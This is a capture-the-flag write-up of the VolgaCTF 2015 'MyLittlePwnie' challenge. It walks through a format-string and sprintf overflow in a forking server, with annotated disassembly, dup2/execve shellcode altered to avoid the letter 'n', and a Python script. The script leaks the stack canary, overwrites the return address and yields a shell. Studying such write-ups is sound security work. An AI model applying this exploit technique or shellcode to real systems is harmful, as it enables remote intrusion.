VolgaCTF 2015 MyLittlePwnie

@mrexcessive WHA
& James Nock WHA

The problem

Just another pwn task. Break in!
nc pwnie.2015.volgactf.ru 7777

This was quite painful and a great learning experience...
This writeup summarises more than 12h effort...
I resolve to be quicker with a stack canary next time !

So we have an unrestricted printf of some kind

%0$08x
Echo: 0000003f
%1$08x
Echo: 00000000
%2$08x
Echo: 00000000
%3$08x
Echo: f7764b58

producing stack contents... nice... further poking and a bit of Python automation later...

%10$08x shows
24303125

which is ascii for "%10$" (LSB is first in byte order last in hex print on little endian architecture)

This suggests that the input buffer is on the stack... NOT the output buffer necessarily...

A bit later we repeatedly doing

%31$s
Echo:
%31$s
Echo: Echo:
%31$s
Echo: Echo: Echo: 

So... this is the output buffer and being prepended with "Echo: "

Spent some time studying the assembler

objdump -d my_little_pwnie >asm.asm
**No...
I don't have any fancy OctRays or other expensive debugging glasses...** More experimenting and playing with running in GDB The server (the program) forks response processes for new connections. We can mess locally and step through while reading source...

*Excellent*

... time passes ...

A considerable time later I have this understanding and this commented source code.
 8048970:    c7 44 24 08 3f 00 00    movl   $0x3f,0x8(%esp)              ; 63chars
 8048977:    00 
 8048978:    8d 45 b4                lea    -0x4c(%ebp),%eax
 804897b:    89 44 24 04             mov    %eax,0x4(%esp)
 804897f:    8b 45 0c                mov    0xc(%ebp),%eax
 8048982:    89 04 24                mov    %eax,(%esp)
 8048985:    e8 06 fe ff ff          call   8048790               ; get data
 804898a:    89 45 b0                mov    %eax,-0x50(%ebp)                ; store ptr to ebp-x50
 804898d:    83 7d b0 00             cmpl   $0x0,-0x50(%ebp)             ; 0 ?  => end of connection
 8048991:    75 2f                   jne    80489c2         ; check not overwritten 80 bytes (0x50)

 8048993:    a1 7c b0 04 08          mov    0x804b07c,%eax                  ; stderr
 8048998:    89 44 24 0c             mov    %eax,0xc(%esp)                  ; save it
 804899c:    c7 44 24 08 16 00 00    movl   $0x16,0x8(%esp)                 ; 24 ?
 80489a3:    00 
 80489a4:    c7 44 24 04 01 00 00    movl   $0x1,0x4(%esp)                  ; 1
 80489ab:    00 
 80489ac:    c7 04 24 1b 8f 04 08    movl   $0x8048f1b,(%esp)               ; "Failed to read socket\n"
 80489b3:    e8 d8 fc ff ff          call   8048690             ; write a message
 80489b8:    b8 ff ff ff ff          mov    $0xffffffff,%eax
 80489bd:    e9 aa 00 00 00          jmp    8048a6c         ; quit

 80489c2:    c7 44 24 04 32 8f 04    movl   $0x8048f32,0x4(%esp)            ; "exit"
 80489c9:    08 
 80489ca:    8d 45 b4                lea    -0x4c(%ebp),%eax                ; eax = 4bp-4c " this is our input "
 80489cd:    89 04 24                mov    %eax,(%esp)
 80489d0:    e8 5b fc ff ff          call   8048630             ; compare with exit... 
 80489d5:    89 45 a8                mov    %eax,-0x58(%ebp)                ; store 0 or non zero 
 80489d8:    8d 45 b4                lea    -0x4c(%ebp),%eax                ; eax = ebp-4c " this is our input..."
 80489db:    89 45 ac                mov    %eax,-0x54(%ebp)                ; store to ebp-54
 80489de:    eb 4d                   jmp    8048a2d         ; 

 80489e0:    8b 45 ac                mov    -0x54(%ebp),%eax                ;
 80489e3:    0f b6 00                movzbl (%eax),%eax
 80489e6:    3c 6e                   cmp    $0x6e,%al                       ; compare for "n"
 80489e8:    75 3f                   jne    8048a29 
 80489ea:    8b 45 a4                mov    -0x5c(%ebp),%eax
 80489ed:    c7 00 49 20 73 74       movl   $0x74732049,(%eax)                 ; "I strip this awful symbol"
 80489f3:    c7 40 04 72 69 70 20    movl   $0x20706972,0x4(%eax)
 80489fa:    c7 40 08 74 68 69 73    movl   $0x73696874,0x8(%eax)
 8048a01:    c7 40 0c 20 61 77 66    movl   $0x66776120,0xc(%eax)
 8048a08:    c7 40 10 75 6c 20 73    movl   $0x73206c75,0x10(%eax)
 8048a0f:    c7 40 14 79 6d 62 6f    movl   $0x6f626d79,0x14(%eax)
 8048a16:    66 c7 40 18 6c 0a       movw   $0xa6c,0x18(%eax)
 8048a1c:    c6 40 1a 00             movb   $0x0,0x1a(%eax)
 8048a20:    c7 45 a8 00 00 00 00    movl   $0x0,-0x58(%ebp)
 8048a27:    eb 2e                   jmp    8048a57 
 8048a29:    83 45 ac 01             addl   $0x1,-0x54(%ebp)

 8048a2d:    8d 45 b4                lea    -0x4c(%ebp),%eax
 8048a30:    89 04 24                mov    %eax,(%esp)
 8048a33:    e8 a8 fc ff ff          call   80486e0          ;
 8048a38:    8d 55 b4                lea    -0x4c(%ebp),%edx
 8048a3b:    01 d0                   add    %edx,%eax
 8048a3d:    3b 45 ac                cmp    -0x54(%ebp),%eax
 8048a40:    77 9e                   ja     80489e0      ; loop back ^^

 8048a42:    8b 45 a4                mov    -0x5c(%ebp),%eax             ; STACK buffer
 8048a45:    8d 50 06                lea    0x6(%eax),%edx               ; buffer + 6 -> edx
 8048a48:    8d 45 b4                lea    -0x4c(%ebp),%eax             ; our input -> eax
 8048a4b:    89 44 24 04             mov    %eax,0x4(%esp)               
 8048a4f:    89 14 24                mov    %edx,(%esp)
 8048a52:    e8 f9 fc ff ff          call   8048750         ; uncontrolled... 
 8048a57:    8b 45 a4                mov    -0x5c(%ebp),%eax             ; $eax = &outputbuffer
 8048a5a:    89 44 24 04             mov    %eax,0x4(%esp)
 8048a5e:    8b 45 0c                mov    0xc(%ebp),%eax               ; xc ?
 8048a61:    89 04 24                mov    %eax,(%esp)
 8048a64:    e8 54 fe ff ff          call   80488bd      ; send out the formatted output
 8048a69:    8b 45 a8                mov    -0x58(%ebp),%eax

 8048a6c:    8b 4d f4                mov    -0xc(%ebp),%ecx              ; get -xc [ canary ]
 8048a6f:    65 33 0d 14 00 00 00    xor    %gs:0x14,%ecx
 8048a76:    74 05                   je     8048a7d 
 8048a78:    e8 e3 fb ff ff          call   8048660 <__stack_chk_fail@plt> ; canary check failed
 8048a7d:    c9                      leave  
 8048a7e:    c3                      ret                                 ; this is the return we want invade
  • There is one input buffer length 0x3f chars useable - we cannot overrun it.
  • There is an output buffer length 120 chars, also on stack
  • There are stack canaries - values which must not be changed
  • We can't use "%n" attacks - because the letter "n" is very checked for and I can't get around those checks.
  • However we do have sprintf() to the output buffer rather than snprintf(), so no length restriction!

It is going to be difficult...

Considerable discussion with JamesNock @ WHA about this problem.


I only finished this after the CTF had closed... on the Monday... So writeup is against my local copy of code... I think it would have worked on server...

Need some special shellcode to duplicate the STDIN/STDOUT/STDERR which have been given to the forked process... so that the remote client can connect to them.

Modify this shellcode for that part of the job, after reading about dup2() for a while.

; ref http://shell-storm.org/shellcode/files/shellcode-553.php
global _start
section .text
_start:
   xor   ebx,ebx
   mov   bl,0xff        ; 0xff will be patched to FileDescriptor
   pop   ebx

   xor   ecx,ecx
   push  0x3f           ; 63 = SYS_dup2 (STDIN)
   pop   eax
   int   0x80

   inc   ecx
   push  0x3f           ; 63 = SYS_dup2 (STDOUT)
   pop   eax
   int   0x80

   inc   ecx
   push  0x3f           ; 63 = SYS_dup2 (STDERR)
   pop   eax
   int   0x80

and find this. Need to modify it because "n" (can't have "/bin/sh" for example!)

;http://www.shell-storm.org/shellcode/files/shellcode-606.php
global _start
section .text
_start:
     push 0xb
     pop eax        ;eax=0xb
     cdq            ;edx=0
     push edx        ;push 0
     push dword 0x68732f2f        ;" //sh"
;X   push dword 0x6e69622f         ;"/bin"
;do  /bin -1 on all chars...
     mov esi,0x6d68612e          ;for when you can't have 'n'      
     add esi,0x01010101            ;increment to correct value all chars
     push esi
     mov ebx,esp    ;ebx = will be "/bin//sh"
     push edx        ;push 0 - terminate string with "\0"
     push ebx        ;push "/bin/sh
     mov ecx,esp    ;ecx = ["/tmp/aaa", 0]
     int 0x80        ;execve(ebx, ecx, edx)

OK... so now.. putting it together

This python code is the meat...

#      FD = 8      # file descriptor for the send() pipe from server back to client, need to understand how to spot
      FD = 4 # *** CHANGE FD to 4 when not running server under GDB.. might be different again... we could read this!
      response = GetResponse(timeout=0.5)       # throw away initial response
      s.send("%6$08x" + "\n")                   # find out where the stack is
      response = GetResponse(dropbefore="Echo: ",timeout=0.5)     # 10 seconds if need time to type conti into gdb...
#1. calculate address of the input buffer = exploitaddress
      stackaddress = int(response[:8],16)
      print "Stack address found is [%08x]" % stackaddress
      shelladdress = stackaddress + 27     # - 0x70, -x70 is address back in the input, not output buffer
                                           # +27 is space for final "I strip this awful symbol\n\0"
      print "shellcode address = %08x" % shelladdress
#2. read the stack canary value
      s.send("%26$08x")
      response = GetResponse(dropbefore="Echo: ",timeout=0.5)     # 10 seconds if need time to type conti into gdb...
      canaryvalue = int(response[:8],16)      # syntax taken from the writeup ...
      print "Canary value found is [%08x]" % canaryvalue
#3. write out return address+FD
      # offset to return address from start of buffer (see challenge.txt)
      offsettoreturn = 0xffffd37c - 0xffffd2e2     # stack can move around, but offset should stay same
      print "calculated return offset = %08x" % offsettoreturn
      sendme = "%" + "%i" % offsettoreturn + "x"
      sendme += struct.pack('<I', shelladdress)
      sendme += struct.pack('<I', FD)
      s.send(sendme+"\n")
      response = GetResponse(timeout=0.5)     # 10 seconds if need time to type conti into gdb...
      print response
#4. write out canary
#4a. write out the canary... to canary offset + 1 (because it has 00 as LSB, for awkwardness)
      # offset to canary address from start of buffer
      offsettocanary = 0xffffd35c - 0xffffd2e2
      print "calculated canary offset = %08x" % offsettocanary
      sendme = "%" + "%i" % offsettocanary + "x"
      sendme += struct.pack('<I', canaryvalue+1)   # add 1 so that the lowest byte is no longer \00
      s.send(sendme + "\n")                           
      response = GetResponse(timeout=0.5)     # 10 seconds if need time to type conti into gdb...
      print "After sending canary A [%s]" % response
#4b. write out first byte of canary, just send a \00
      sendme = "%" + "%i" % offsettocanary + "x"
      s.send(sendme+"\x00\n")
      response = GetResponse(timeout=0.5)     # 10 seconds if need time to type conti into gdb...
      print "After sending canary B [%s]" % response
#5. write out shellcode
      skipbytes = len("I strip this awful symbol\n") - 5    # -6 because "Echo: " not there, -5 only because \00 on end
      sendme = "%" + "%i" % skipbytes + "x"
      sendme += GetShellcode(FD)             # no space for a NOPsled
      assert(len(sendme) <= 0x3f)
      print "skip and shell is [%s]" % sendme
      s.send(sendme + "\n")
      response = GetResponse(timeout=0.5)     # 10 seconds if need time to type conti into gdb...
      print "After sending shell [%s]" % response
#5. press 'n' deliberately to trigger exit and the return address
      print
      print "NOW PRESS n and Enter... for shell"   
      print

And we get a shell !

This makes light of the 4 hours or so it took from having this final structure, to realising fully that I could skip through the output buffer by using %x to enable the 54 byte shellcode to be squeezed through the 63 byte input buffer into the much larger, output buffer - where it could be executed.

This was great fun... I'm only sorry didn't manage to finish it in time.

Learnt a lot about shell exploiting and gdb use.
for instance thb *0xaddress can be used to get control of code executing on the stack, which you can't do with a normal breakpoint...

Cheers @VolgaCTF !